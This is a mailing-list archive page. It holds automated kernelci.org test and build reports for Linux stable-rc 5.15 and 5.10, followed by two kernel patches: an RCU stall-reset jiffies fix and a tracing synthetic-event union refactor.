Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64e41bde11327b4ee8dc95da
failing since 27 days (last pass: v5.15.120, first fail: v5.15.122-79-g3bef1500d246a)
platform | arch | lab | compiler | defconfig | regressions
-------------------+-------+---------------+----------+---------------------+------------
cubietruck | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
Details: https://kernelci.org/test/plan/id/64e41bb9c6e59a1b43dc95cd
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: multi_v7_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127-138-gfc9952e…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127-138-gfc9952e…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64e41bb9c6e59a1b43dc95d2
failing since 216 days (last pass: v5.15.82-124-gd731c63c25d1, first fail: v5.15.87-101-g5bcc318cb4cd)
2023-08-22T02:21:30.645367 + set +x<8>[ 9.957520] <LAVA_SIGNAL_ENDRUN 0_dmesg 3744863_1.5.2.4.1>
2023-08-22T02:21:30.645583
2023-08-22T02:21:30.751977 / # #
2023-08-22T02:21:30.853514 export SHELL=/bin/sh
2023-08-22T02:21:30.854383 #
2023-08-22T02:21:30.956422 / # export SHELL=/bin/sh. /lava-3744863/environment
2023-08-22T02:21:30.957281
2023-08-22T02:21:31.059104 / # . /lava-3744863/environment/lava-3744863/bin/lava-test-runner /lava-3744863/1
2023-08-22T02:21:31.059721
2023-08-22T02:21:31.064685 / # /lava-3744863/bin/lava-test-runner /lava-3744863/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-------------------+-------+---------------+----------+---------------------+------------
fsl-ls2088a-rdb | arm64 | lab-nxp | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64e41bb5a9a9efb028dc95f2
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127-138-gfc9952e…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127-138-gfc9952e…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64e41bb5a9a9efb028dc95f5
failing since 38 days (last pass: v5.15.67, first fail: v5.15.119-16-g66130849c020f)
2023-08-22T02:21:20.782475 + [ 15.400373] <LAVA_SIGNAL_ENDRUN 0_dmesg 1244649_1.5.2.4.1>
2023-08-22T02:21:20.782744 set +x
2023-08-22T02:21:20.887659
2023-08-22T02:21:20.988459 / # #export SHELL=/bin/sh
2023-08-22T02:21:20.988869
2023-08-22T02:21:21.089817 / # export SHELL=/bin/sh. /lava-1244649/environment
2023-08-22T02:21:21.090220
2023-08-22T02:21:21.191197 / # . /lava-1244649/environment/lava-1244649/bin/lava-test-runner /lava-1244649/1
2023-08-22T02:21:21.191866
2023-08-22T02:21:21.195911 / # /lava-1244649/bin/lava-test-runner /lava-1244649/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-------------------+-------+---------------+----------+---------------------+------------
fsl-lx2160a-rdb | arm64 | lab-nxp | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64e41ba1a9a9efb028dc95e0
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127-138-gfc9952e…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127-138-gfc9952e…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64e41ba1a9a9efb028dc95e3
failing since 171 days (last pass: v5.15.79, first fail: v5.15.98)
2023-08-22T02:21:09.138502 [ 11.258348] <LAVA_SIGNAL_ENDRUN 0_dmesg 1244648_1.5.2.4.1>
2023-08-22T02:21:09.241365
2023-08-22T02:21:09.342098 / # #export SHELL=/bin/sh
2023-08-22T02:21:09.342391
2023-08-22T02:21:09.443017 / # export SHELL=/bin/sh. /lava-1244648/environment
2023-08-22T02:21:09.443301
2023-08-22T02:21:09.543921 / # . /lava-1244648/environment/lava-1244648/bin/lava-test-runner /lava-1244648/1
2023-08-22T02:21:09.544336
2023-08-22T02:21:09.548298 / # /lava-1244648/bin/lava-test-runner /lava-1244648/1
2023-08-22T02:21:09.564255 + export 'TESTRUN_ID=1_bootrr'
... (11 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-------------------+-------+---------------+----------+---------------------+------------
r8a779m1-ulcb | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64e41b6ab24aee9981dc965b
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127-138-gfc9952e…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127-138-gfc9952e…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64e41b6ab24aee9981dc9660
failing since 33 days (last pass: v5.15.120-274-g478387c57e172, first fail: v5.15.120)
2023-08-22T02:20:08.510546 / # #
2023-08-22T02:20:09.590267 export SHELL=/bin/sh
2023-08-22T02:20:09.592181 #
2023-08-22T02:20:11.082124 / # export SHELL=/bin/sh. /lava-11328309/environment
2023-08-22T02:20:11.084061
2023-08-22T02:20:13.806740 / # . /lava-11328309/environment/lava-11328309/bin/lava-test-runner /lava-11328309/1
2023-08-22T02:20:13.808872
2023-08-22T02:20:13.820057 / # /lava-11328309/bin/lava-test-runner /lava-11328309/1
2023-08-22T02:20:13.879344 + export 'TESTRUN_ID=1_bootrr'
2023-08-22T02:20:13.879776 + cd /lava-113283<8>[ 25.499670] <LAVA_SIGNAL_STARTRUN 1_bootrr 11328309_1.5.2.4.5>
... (38 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-------------------+-------+---------------+----------+---------------------+------------
sun50i-h6-pine-h64 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64e41b3930c259c86fdc95f6
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127-138-gfc9952e…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127-138-gfc9952e…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64e41b3930c259c86fdc95fb
failing since 33 days (last pass: v5.15.120-274-g478387c57e172, first fail: v5.15.120)
2023-08-22T02:21:02.335152 / # #
2023-08-22T02:21:02.437293 export SHELL=/bin/sh
2023-08-22T02:21:02.438041 #
2023-08-22T02:21:02.539439 / # export SHELL=/bin/sh. /lava-11328319/environment
2023-08-22T02:21:02.540182
2023-08-22T02:21:02.641756 / # . /lava-11328319/environment/lava-11328319/bin/lava-test-runner /lava-11328319/1
2023-08-22T02:21:02.642917
2023-08-22T02:21:02.644209 / # /lava-11328319/bin/lava-test-runner /lava-11328319/1
2023-08-22T02:21:02.685506 + export 'TESTRUN_ID=1_bootrr'
2023-08-22T02:21:02.718074 + cd /lava-1132831<8>[ 16.747241] <LAVA_SIGNAL_STARTRUN 1_bootrr 11328319_1.5.2.4.5>
... (10 line(s) more)
2 years, 4 months
- 1
- 0
stable-rc/linux-5.10.y build: 19 builds: 0 failed, 19 passed, 7 warnings (v5.10.190-123-gec001faa2c729)
by kernelci.org bot
stable-rc/linux-5.10.y build: 19 builds: 0 failed, 19 passed, 7 warnings (v5.10.190-123-gec001faa2c729)
Full Build Summary: https://kernelci.org/build/stable-rc/branch/linux-5.10.y/kernel/v5.10.190-1…
Tree: stable-rc
Branch: linux-5.10.y
Git Describe: v5.10.190-123-gec001faa2c729
Git Commit: ec001faa2c7293e38e8dcdc5fcce1e8e3298316c
Git URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git
Built: 7 unique architectures
Warnings Detected:
arc:
arm64:
arm:
i386:
mips:
32r2el_defconfig (gcc-10): 1 warning
riscv:
rv32_defconfig (gcc-10): 4 warnings
x86_64:
x86_64_defconfig (gcc-10): 1 warning
x86_64_defconfig+x86-chromebook (gcc-10): 1 warning
Warnings summary:
2 arch/x86/lib/retpoline.o: warning: objtool: .text.__x86.return_thunk+0xe0: unreachable instruction
2 <stdin>:830:2: warning: #warning syscall fstat64 not implemented [-Wcpp]
2 <stdin>:1127:2: warning: #warning syscall fstatat64 not implemented [-Wcpp]
1 WARNING: modpost: Symbol info of vmlinux is missing. Unresolved symbol check will be entirely skipped.
================================================================================
Detailed per-defconfig build reports:
--------------------------------------------------------------------------------
32r2el_defconfig (mips, gcc-10) — PASS, 0 errors, 1 warning, 0 section mismatches
Warnings:
WARNING: modpost: Symbol info of vmlinux is missing. Unresolved symbol check will be entirely skipped.
--------------------------------------------------------------------------------
allnoconfig (x86_64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
allnoconfig (i386, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig (arm64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig+arm64-chromebook (arm64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
haps_hs_smp_defconfig (arc, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
i386_defconfig (i386, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
imx_v6_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
multi_v5_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
multi_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
nommu_k210_defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
omap2plus_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
rv32_defconfig (riscv, gcc-10) — PASS, 0 errors, 4 warnings, 0 section mismatches
Warnings:
<stdin>:830:2: warning: #warning syscall fstat64 not implemented [-Wcpp]
<stdin>:1127:2: warning: #warning syscall fstatat64 not implemented [-Wcpp]
<stdin>:830:2: warning: #warning syscall fstat64 not implemented [-Wcpp]
<stdin>:1127:2: warning: #warning syscall fstatat64 not implemented [-Wcpp]
--------------------------------------------------------------------------------
tinyconfig (x86_64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
tinyconfig (i386, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
vexpress_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
x86_64_defconfig (x86_64, gcc-10) — PASS, 0 errors, 1 warning, 0 section mismatches
Warnings:
arch/x86/lib/retpoline.o: warning: objtool: .text.__x86.return_thunk+0xe0: unreachable instruction
--------------------------------------------------------------------------------
x86_64_defconfig+x86-chromebook (x86_64, gcc-10) — PASS, 0 errors, 1 warning, 0 section mismatches
Warnings:
arch/x86/lib/retpoline.o: warning: objtool: .text.__x86.return_thunk+0xe0: unreachable instruction
---
For more info write to <info(a)kernelci.org>
2 years, 4 months
- 1
- 0
[PATCH V2] rcu: Update jiffies locally in rcu_cpu_stall_reset()
by Huacai Chen
The KGDB initial breakpoint gets an rcu stall warning after commit
a80be428fbc1f1f3bc9ed924 ("rcu: Do not disable GP stall detection in
rcu_cpu_stall_reset()").
[ 53.452051] rcu: INFO: rcu_preempt self-detected stall on CPU
[ 53.487950] rcu: 3-...0: (1 ticks this GP) idle=0e2c/1/0x4000000000000000 softirq=375/375 fqs=8
[ 53.528243] rcu: (t=12297 jiffies g=-995 q=1 ncpus=4)
[ 53.564840] CPU: 3 PID: 1 Comm: swapper/0 Not tainted 6.5.0-rc2+ #4848
[ 53.603005] Hardware name: Loongson Loongson-3A5000-HV-7A2000-1w-V0.1-CRB/Loongson-LS3A5000-7A2000-1w-CRB-V1.21, BIOS Loongson-UDK2018-V2.0.05099-beta8 08
[ 53.682062] pc 9000000000332100 ra 90000000003320f4 tp 90000001000a0000 sp 90000001000a3710
[ 53.724934] a0 9000000001d4b488 a1 0000000000000000 a2 0000000000000001 a3 0000000000000000
[ 53.768179] a4 9000000001d526c8 a5 90000001000a38f0 a6 000000000000002c a7 0000000000000000
[ 53.810751] t0 00000000000002b0 t1 0000000000000004 t2 900000000131c9c0 t3 fffffffffffffffa
[ 53.853249] t4 0000000000000080 t5 90000001002ac190 t6 0000000000000004 t7 9000000001912d58
[ 53.895684] t8 0000000000000000 u0 90000000013141a0 s9 0000000000000028 s0 9000000001d512f0
[ 53.937633] s1 9000000001d51278 s2 90000001000a3798 s3 90000000019fc410 s4 9000000001d4b488
[ 53.979486] s5 9000000001d512f0 s6 90000000013141a0 s7 0000000000000078 s8 9000000001d4b450
[ 54.021175] ra: 90000000003320f4 kgdb_cpu_enter+0x534/0x640
[ 54.060150] ERA: 9000000000332100 kgdb_cpu_enter+0x540/0x640
[ 54.098347] CRMD: 000000b0 (PLV0 -IE -DA +PG DACF=CC DACM=CC -WE)
[ 54.136621] PRMD: 0000000c (PPLV0 +PIE +PWE)
[ 54.172192] EUEN: 00000000 (-FPE -SXE -ASXE -BTE)
[ 54.207838] ECFG: 00071c1c (LIE=2-4,10-12 VS=7)
[ 54.242503] ESTAT: 00000800 [INT] (IS=11 ECode=0 EsubCode=0)
[ 54.277996] PRID: 0014c011 (Loongson-64bit, Loongson-3A5000-HV)
[ 54.313544] CPU: 3 PID: 1 Comm: swapper/0 Not tainted 6.5.0-rc2+ #4848
[ 54.430170] Stack : 0072617764726148 0000000000000000 9000000000223504 90000001000a0000
[ 54.472308] 9000000100073a90 9000000100073a98 0000000000000000 9000000100073bd8
[ 54.514413] 9000000100073bd0 9000000100073bd0 9000000100073a00 0000000000000001
[ 54.556018] 0000000000000001 9000000100073a98 99828271f24e961a 90000001002810c0
[ 54.596924] 0000000000000001 0000000000010003 0000000000000000 0000000000000001
[ 54.637115] ffff8000337cdb80 0000000000000001 0000000006360000 900000000131c9c0
[ 54.677049] 0000000000000000 0000000000000000 90000000017b4c98 9000000001912000
[ 54.716394] 9000000001912f68 9000000001913000 9000000001912f70 00000000000002b0
[ 54.754880] 90000000014a8840 0000000000000000 900000000022351c 0000000000000000
[ 54.792372] 00000000000002b0 000000000000000c 0000000000000000 0000000000071c1c
[ 54.829302] ...
[ 54.859163] Call Trace:
[ 54.859165] [<900000000022351c>] show_stack+0x5c/0x180
[ 54.918298] [<90000000012f6100>] dump_stack_lvl+0x60/0x88
[ 54.949251] [<90000000012dd5d8>] rcu_dump_cpu_stacks+0xf0/0x148
[ 54.981116] [<90000000002d2fb8>] rcu_sched_clock_irq+0xb78/0xe60
[ 55.012744] [<90000000002e47cc>] update_process_times+0x6c/0xc0
[ 55.044169] [<90000000002f65d4>] tick_sched_timer+0x54/0x100
[ 55.075488] [<90000000002e5174>] __hrtimer_run_queues+0x154/0x240
[ 55.107347] [<90000000002e6288>] hrtimer_interrupt+0x108/0x2a0
[ 55.139112] [<9000000000226418>] constant_timer_interrupt+0x38/0x60
[ 55.170749] [<90000000002b3010>] __handle_irq_event_percpu+0x50/0x160
[ 55.203141] [<90000000002b3138>] handle_irq_event_percpu+0x18/0x80
[ 55.235064] [<90000000002b9d54>] handle_percpu_irq+0x54/0xa0
[ 55.266241] [<90000000002b2168>] generic_handle_domain_irq+0x28/0x40
[ 55.298466] [<9000000000aba95c>] handle_cpu_irq+0x5c/0xa0
[ 55.329749] [<90000000012f7270>] handle_loongarch_irq+0x30/0x60
[ 55.361476] [<90000000012f733c>] do_vint+0x9c/0x100
[ 55.391737] [<9000000000332100>] kgdb_cpu_enter+0x540/0x640
[ 55.422440] [<9000000000332b64>] kgdb_handle_exception+0x104/0x180
[ 55.452911] [<9000000000232478>] kgdb_loongarch_notify+0x38/0xa0
[ 55.481964] [<900000000026b4d4>] notify_die+0x94/0x100
[ 55.509184] [<90000000012f685c>] do_bp+0x21c/0x340
[ 55.562475] [<90000000003315b8>] kgdb_compiled_break+0x0/0x28
[ 55.590319] [<9000000000332e80>] kgdb_register_io_module+0x160/0x1c0
[ 55.618901] [<9000000000c0f514>] configure_kgdboc+0x154/0x1c0
[ 55.647034] [<9000000000c0f5e0>] kgdboc_probe+0x60/0x80
[ 55.674647] [<9000000000c96da8>] platform_probe+0x68/0x100
[ 55.702613] [<9000000000c938e0>] really_probe+0xc0/0x340
[ 55.730528] [<9000000000c93be4>] __driver_probe_device+0x84/0x140
[ 55.759615] [<9000000000c93cdc>] driver_probe_device+0x3c/0x120
[ 55.787990] [<9000000000c93e8c>] __device_attach_driver+0xcc/0x160
[ 55.817145] [<9000000000c91290>] bus_for_each_drv+0x90/0x100
[ 55.845654] [<9000000000c94328>] __device_attach+0xa8/0x1a0
[ 55.874145] [<9000000000c925f0>] bus_probe_device+0xb0/0xe0
[ 55.902572] [<9000000000c8ec7c>] device_add+0x65c/0x860
[ 55.930635] [<9000000000c96704>] platform_device_add+0x124/0x2c0
[ 55.959669] [<9000000001452b38>] init_kgdboc+0x58/0xa0
[ 55.987677] [<900000000022015c>] do_one_initcall+0x7c/0x1e0
[ 56.016134] [<9000000001420f1c>] kernel_init_freeable+0x22c/0x2a0
[ 56.045128] [<90000000012f923c>] kernel_init+0x20/0x124
Currently rcu_cpu_stall_reset() set rcu_state.jiffies_stall to one check
period later, i.e. jiffies + rcu_jiffies_till_stall_check(). But jiffies
is only updated in the timer interrupt, so when kgdb_cpu_enter() begins
to run there may already be nearly one rcu check period after jiffies.
Since all interrupts are disabled during kgdb_cpu_enter(), jiffies will
not be updated. When kgdb_cpu_enter() returns, rcu_state.jiffies_stall
maybe already gets timeout.
We can set rcu_state.jiffies_stall to two rcu check periods later, e.g.
jiffies + (rcu_jiffies_till_stall_check() * 2) in rcu_cpu_stall_reset()
to avoid this problem. But this isn't a complete solution because kgdb
may take a very long time in irq disabled context.
Instead, update jiffies at the beginning of rcu_cpu_stall_reset() can
solve all kinds of problems [1]. But this causes a new problem because
updating jiffies is not NMI safe while rcu_cpu_stall_reset() may be used
in NMI context.
So we don't update the global jiffies, but only add the time 'delta' to
jiffies locally at the beginning of rcu_cpu_stall_reset() which has the
same effect.
[1] https://lore.kernel.org/rcu/20230814020045.51950-1-chenhuacai@loongson.cn/T…
Cc: stable(a)vger.kernel.org
Fixes: a80be428fbc1f1f3bc9ed924 ("rcu: Do not disable GP stall detection in rcu_cpu_stall_reset()")
Reported-off-by: Binbin Zhou <zhoubinbin(a)loongson.cn>
Signed-off-by: Huacai Chen <chenhuacai(a)loongson.cn>
---
V2: Use NMI safe functions.
kernel/rcu/tree_stall.h | 8 +++++++-
1 file changed, 7 insertions(+), 1 deletion(-)
diff --git a/kernel/rcu/tree_stall.h b/kernel/rcu/tree_stall.h
index b10b8349bb2a..605a774241c8 100644
--- a/kernel/rcu/tree_stall.h
+++ b/kernel/rcu/tree_stall.h
@@ -153,8 +153,14 @@ static void panic_on_rcu_stall(void)
*/
void rcu_cpu_stall_reset(void)
{
+ u64 curr, last, delta;
+
+ curr = ktime_get_mono_fast_ns();
+ last = ktime_get_seconds() * NSEC_PER_SEC;
+ delta = nsecs_to_jiffies(curr - last);
+
WRITE_ONCE(rcu_state.jiffies_stall,
- jiffies + rcu_jiffies_till_stall_check());
+ jiffies + delta + rcu_jiffies_till_stall_check());
}
//////////////////////////////////////////////////////////////////////////////
--
2.39.3
2 years, 4 months
- 3
- 4
[for-linus][PATCH 3/8] tracing/synthetic: Use union instead of casts
by Steven Rostedt
From: Sven Schnelle <svens(a)linux.ibm.com>
The current code uses a lot of casts to access the fields member in struct
synth_trace_events with different sizes. This makes the code hard to
read, and had already introduced an endianness bug. Use a union and struct
instead.
Link: https://lkml.kernel.org/r/20230816154928.4171614-2-svens@linux.ibm.com
Cc: stable(a)vger.kernel.org
Cc: Masami Hiramatsu <mhiramat(a)kernel.org>
Fixes: 00cf3d672a9dd ("tracing: Allow synthetic events to pass around stacktraces")
Signed-off-by: Sven Schnelle <svens(a)linux.ibm.com>
Signed-off-by: Steven Rostedt (Google) <rostedt(a)goodmis.org>
---
include/linux/trace_events.h | 11 ++++
kernel/trace/trace.h | 8 +++
kernel/trace/trace_events_synth.c | 87 +++++++++++++------------------
3 files changed, 56 insertions(+), 50 deletions(-)
diff --git a/include/linux/trace_events.h b/include/linux/trace_events.h
index 3930e676436c..1e8bbdb8da90 100644
--- a/include/linux/trace_events.h
+++ b/include/linux/trace_events.h
@@ -59,6 +59,17 @@ int trace_raw_output_prep(struct trace_iterator *iter,
extern __printf(2, 3)
void trace_event_printf(struct trace_iterator *iter, const char *fmt, ...);
+/* Used to find the offset and length of dynamic fields in trace events */
+struct trace_dynamic_info {
+#ifdef CONFIG_CPU_BIG_ENDIAN
+ u16 offset;
+ u16 len;
+#else
+ u16 len;
+ u16 offset;
+#endif
+};
+
/*
* The trace entry - the most basic unit of tracing. This is what
* is printed in the end as a single line in the trace output, such as:
diff --git a/kernel/trace/trace.h b/kernel/trace/trace.h
index e1edc2197fc8..95956f75bea5 100644
--- a/kernel/trace/trace.h
+++ b/kernel/trace/trace.h
@@ -1295,6 +1295,14 @@ static inline void trace_branch_disable(void)
/* set ring buffers to default size if not already done so */
int tracing_update_buffers(void);
+union trace_synth_field {
+ u8 as_u8;
+ u16 as_u16;
+ u32 as_u32;
+ u64 as_u64;
+ struct trace_dynamic_info as_dynamic;
+};
+
struct ftrace_event_field {
struct list_head link;
const char *name;
diff --git a/kernel/trace/trace_events_synth.c b/kernel/trace/trace_events_synth.c
index dd398afc8e25..7fff8235075f 100644
--- a/kernel/trace/trace_events_synth.c
+++ b/kernel/trace/trace_events_synth.c
@@ -127,7 +127,7 @@ static bool synth_event_match(const char *system, const char *event,
struct synth_trace_event {
struct trace_entry ent;
- u64 fields[];
+ union trace_synth_field fields[];
};
static int synth_event_define_fields(struct trace_event_call *call)
@@ -321,19 +321,19 @@ static const char *synth_field_fmt(char *type)
static void print_synth_event_num_val(struct trace_seq *s,
char *print_fmt, char *name,
- int size, u64 val, char *space)
+ int size, union trace_synth_field *val, char *space)
{
switch (size) {
case 1:
- trace_seq_printf(s, print_fmt, name, (u8)val, space);
+ trace_seq_printf(s, print_fmt, name, val->as_u8, space);
break;
case 2:
- trace_seq_printf(s, print_fmt, name, (u16)val, space);
+ trace_seq_printf(s, print_fmt, name, val->as_u16, space);
break;
case 4:
- trace_seq_printf(s, print_fmt, name, (u32)val, space);
+ trace_seq_printf(s, print_fmt, name, val->as_u32, space);
break;
default:
@@ -374,36 +374,26 @@ static enum print_line_t print_synth_event(struct trace_iterator *iter,
/* parameter values */
if (se->fields[i]->is_string) {
if (se->fields[i]->is_dynamic) {
- u32 offset, data_offset;
- char *str_field;
-
- offset = (u32)entry->fields[n_u64];
- data_offset = offset & 0xffff;
-
- str_field = (char *)entry + data_offset;
+ union trace_synth_field *data = &entry->fields[n_u64];
trace_seq_printf(s, print_fmt, se->fields[i]->name,
STR_VAR_LEN_MAX,
- str_field,
+ (char *)entry + data->as_dynamic.offset,
i == se->n_fields - 1 ? "" : " ");
n_u64++;
} else {
trace_seq_printf(s, print_fmt, se->fields[i]->name,
STR_VAR_LEN_MAX,
- (char *)&entry->fields[n_u64],
+ (char *)&entry->fields[n_u64].as_u64,
i == se->n_fields - 1 ? "" : " ");
n_u64 += STR_VAR_LEN_MAX / sizeof(u64);
}
} else if (se->fields[i]->is_stack) {
- u32 offset, data_offset, len;
unsigned long *p, *end;
+ union trace_synth_field *data = &entry->fields[n_u64];
- offset = (u32)entry->fields[n_u64];
- data_offset = offset & 0xffff;
- len = offset >> 16;
-
- p = (void *)entry + data_offset;
- end = (void *)p + len - (sizeof(long) - 1);
+ p = (void *)entry + data->as_dynamic.offset;
+ end = (void *)p + data->as_dynamic.len - (sizeof(long) - 1);
trace_seq_printf(s, "%s=STACK:\n", se->fields[i]->name);
@@ -419,13 +409,13 @@ static enum print_line_t print_synth_event(struct trace_iterator *iter,
print_synth_event_num_val(s, print_fmt,
se->fields[i]->name,
se->fields[i]->size,
- entry->fields[n_u64],
+ &entry->fields[n_u64],
space);
if (strcmp(se->fields[i]->type, "gfp_t") == 0) {
trace_seq_puts(s, " (");
trace_print_flags_seq(s, "|",
- entry->fields[n_u64],
+ entry->fields[n_u64].as_u64,
__flags);
trace_seq_putc(s, ')');
}
@@ -454,21 +444,16 @@ static unsigned int trace_string(struct synth_trace_event *entry,
int ret;
if (is_dynamic) {
- u32 data_offset;
+ union trace_synth_field *data = &entry->fields[*n_u64];
- data_offset = struct_size(entry, fields, event->n_u64);
- data_offset += data_size;
-
- len = fetch_store_strlen((unsigned long)str_val);
-
- data_offset |= len << 16;
- *(u32 *)&entry->fields[*n_u64] = data_offset;
+ data->as_dynamic.offset = struct_size(entry, fields, event->n_u64) + data_size;
+ data->as_dynamic.len = fetch_store_strlen((unsigned long)str_val);
ret = fetch_store_string((unsigned long)str_val, &entry->fields[*n_u64], entry);
(*n_u64)++;
} else {
- str_field = (char *)&entry->fields[*n_u64];
+ str_field = (char *)&entry->fields[*n_u64].as_u64;
#ifdef CONFIG_ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE
if ((unsigned long)str_val < TASK_SIZE)
@@ -492,6 +477,7 @@ static unsigned int trace_stack(struct synth_trace_event *entry,
unsigned int data_size,
unsigned int *n_u64)
{
+ union trace_synth_field *data = &entry->fields[*n_u64];
unsigned int len;
u32 data_offset;
void *data_loc;
@@ -515,8 +501,9 @@ static unsigned int trace_stack(struct synth_trace_event *entry,
memcpy(data_loc, stack, len);
/* Fill in the field that holds the offset/len combo */
- data_offset |= len << 16;
- *(u32 *)&entry->fields[*n_u64] = data_offset;
+
+ data->as_dynamic.offset = data_offset;
+ data->as_dynamic.len = len;
(*n_u64)++;
@@ -592,19 +579,19 @@ static notrace void trace_event_raw_event_synth(void *__data,
switch (field->size) {
case 1:
- *(u8 *)&entry->fields[n_u64] = (u8)val;
+ entry->fields[n_u64].as_u8 = (u8)val;
break;
case 2:
- *(u16 *)&entry->fields[n_u64] = (u16)val;
+ entry->fields[n_u64].as_u16 = (u16)val;
break;
case 4:
- *(u32 *)&entry->fields[n_u64] = (u32)val;
+ entry->fields[n_u64].as_u32 = (u32)val;
break;
default:
- entry->fields[n_u64] = val;
+ entry->fields[n_u64].as_u64 = val;
break;
}
n_u64++;
@@ -1791,19 +1778,19 @@ int synth_event_trace(struct trace_event_file *file, unsigned int n_vals, ...)
switch (field->size) {
case 1:
- *(u8 *)&state.entry->fields[n_u64] = (u8)val;
+ state.entry->fields[n_u64].as_u8 = (u8)val;
break;
case 2:
- *(u16 *)&state.entry->fields[n_u64] = (u16)val;
+ state.entry->fields[n_u64].as_u16 = (u16)val;
break;
case 4:
- *(u32 *)&state.entry->fields[n_u64] = (u32)val;
+ state.entry->fields[n_u64].as_u32 = (u32)val;
break;
default:
- state.entry->fields[n_u64] = val;
+ state.entry->fields[n_u64].as_u64 = val;
break;
}
n_u64++;
@@ -1884,19 +1871,19 @@ int synth_event_trace_array(struct trace_event_file *file, u64 *vals,
switch (field->size) {
case 1:
- *(u8 *)&state.entry->fields[n_u64] = (u8)val;
+ state.entry->fields[n_u64].as_u8 = (u8)val;
break;
case 2:
- *(u16 *)&state.entry->fields[n_u64] = (u16)val;
+ state.entry->fields[n_u64].as_u16 = (u16)val;
break;
case 4:
- *(u32 *)&state.entry->fields[n_u64] = (u32)val;
+ state.entry->fields[n_u64].as_u32 = (u32)val;
break;
default:
- state.entry->fields[n_u64] = val;
+ state.entry->fields[n_u64].as_u64 = val;
break;
}
n_u64++;
@@ -2031,19 +2018,19 @@ static int __synth_event_add_val(const char *field_name, u64 val,
} else {
switch (field->size) {
case 1:
- *(u8 *)&trace_state->entry->fields[field->offset] = (u8)val;
+ trace_state->entry->fields[field->offset].as_u8 = (u8)val;
break;
case 2:
- *(u16 *)&trace_state->entry->fields[field->offset] = (u16)val;
+ trace_state->entry->fields[field->offset].as_u16 = (u16)val;
break;
case 4:
- *(u32 *)&trace_state->entry->fields[field->offset] = (u32)val;
+ trace_state->entry->fields[field->offset].as_u32 = (u32)val;
break;
default:
- trace_state->entry->fields[field->offset] = val;
+ trace_state->entry->fields[field->offset].as_u64 = val;
break;
}
}
--
2.40.1
